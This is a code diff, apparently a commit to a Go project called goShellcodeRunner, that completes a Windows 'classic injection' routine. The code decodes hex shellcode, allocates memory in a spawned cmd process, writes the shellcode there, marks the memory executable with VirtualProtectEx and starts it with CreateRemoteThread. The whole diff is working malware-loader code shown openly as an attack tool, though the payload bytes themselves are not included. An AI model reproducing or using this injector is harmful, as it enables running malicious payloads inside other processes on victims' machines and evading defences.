11package shellcode
22
33import (
4+ "encoding/hex"
45 dll "goShellcodeRunner/DLL"
56 process "goShellcodeRunner/Process"
67 "log"
8+ "syscall"
9+ "unsafe"
710
811 "golang.org/x/sys/windows"
912)
1013
1114func ClassicInjection () {
1215 cmdHandle := process .CreateCmdProcess ()
1316
17+ // TODO: 1. WriteProcessMemory() Also Can Use CopyShellcodeToMemory()
18+ shellcode , unhandledErr := hex .DecodeString (HexShellcode )
19+ if unhandledErr != nil {
20+ log .Panicf (" unhandledErr \n " )
21+ }
22+
1423 procVirtualAllocEx := dll .Kernel32 .NewProc ("VirtualAllocEx" )
1524
1625 addr , _ , lastErr := procVirtualAllocEx .Call (
1726 uintptr (cmdHandle ),
1827 uintptr (0 ),
19- uintptr (len (HexShellcode )),
28+ uintptr (len (shellcode )),
2029 uintptr (windows .MEM_COMMIT | windows .MEM_RESERVE ),
2130 uintptr (windows .PAGE_READWRITE ))
2231
@@ -26,7 +35,45 @@ func ClassicInjection() {
2635
2736 log .Printf ("[INJECT] Memory Allocation Done, Address: 0x(%x)" , addr )
2837
29- // TODO: 1. WriteProcessMemory() Also Can Use CopyShellcodeToMemory()
30- // 2. VirtualProtectEx()
31- // 3. CreateThread()
38+ CopyShellcodeToMemory (addr , & shellcode )
39+
40+ log .Printf ("[INJECT] Shellcode Moved To Process Memory \n " )
41+
42+ ChangeRemoteProcessPermission (windows .Handle (cmdHandle ), addr , len (shellcode ), windows .PAGE_EXECUTE_READ )
43+
44+ CreateRemoteThread (cmdHandle , addr )
45+
46+ }
47+
48+ func ChangeRemoteProcessPermission (pHandle windows.Handle , addr uintptr , size int , newProtect uint32 ) {
49+ var oldProted uint32
50+
51+ err := windows .VirtualProtectEx (pHandle , addr , uintptr (size ), newProtect , & oldProted )
52+
53+ if err != nil {
54+ log .Panicf ("[INJECT] Error While Change RemoteProcess MemoryProtect (%v) \n " , err )
55+
56+ }
57+
58+ }
59+
60+ func CreateRemoteThread (pHandle syscall.Handle , addr uintptr ) {
61+ procCreateRemoteThread := dll .Kernel32 .NewProc ("CreateRemoteThread" )
62+
63+ var threadId uint32 = 0
64+
65+ tHandle , _ , lastErr := procCreateRemoteThread .Call (
66+ uintptr (pHandle ),
67+ uintptr (0 ),
68+ uintptr (0 ),
69+ addr ,
70+ uintptr (0 ),
71+ uintptr (0 ),
72+ uintptr (unsafe .Pointer (& threadId )))
73+
74+ if tHandle == 0 {
75+ log .Panicf ("[INJECT] Error While Creating Remote Thraed (%v) \n " , lastErr )
76+
77+ }
78+ log .Printf ("[INJECT] Shellcode Execution Done! %v \n " , tHandle )
3279}
0 commit comments